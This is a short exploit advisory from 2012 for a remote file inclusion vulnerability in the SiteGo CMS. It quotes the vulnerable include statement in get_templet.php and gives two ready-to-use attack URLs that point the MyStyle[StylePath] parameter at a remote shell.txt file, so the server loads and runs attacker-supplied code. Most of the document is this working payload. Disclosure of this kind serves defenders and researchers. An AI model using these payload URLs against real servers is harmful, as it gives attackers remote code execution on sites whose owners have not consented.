24 lines
No EOL
821 B
Text
24 lines
No EOL
821 B
Text
############################################
|
|
### Exploit Title: SiteGo Remote File Inclusion Vulnerability
|
|
### Date: 10/09/2012
|
|
### Author: L0n3ly-H34rT
|
|
### Contact: l0n3ly_h34rt@hotmail.com
|
|
### My Site: http://se3c.blogspot.com/
|
|
### Vendor Link: http://site-go.com/
|
|
### Software Link: http://site-go.com/free/site-go.zip
|
|
### Tested on: Linux/Windows
|
|
############################################
|
|
|
|
# File affect in two styles ( get_templet.php ) on line 120:
|
|
|
|
include "$MyStyle[StylePath]/extra/css_menu.php";
|
|
|
|
# Examples :
|
|
|
|
http://127.0.0.1/site-go/style/green/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?
|
|
|
|
http://127.0.0.1/site-go/style/blue/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?
|
|
|
|
############################################
|
|
|
|
# Greetz to my friendz |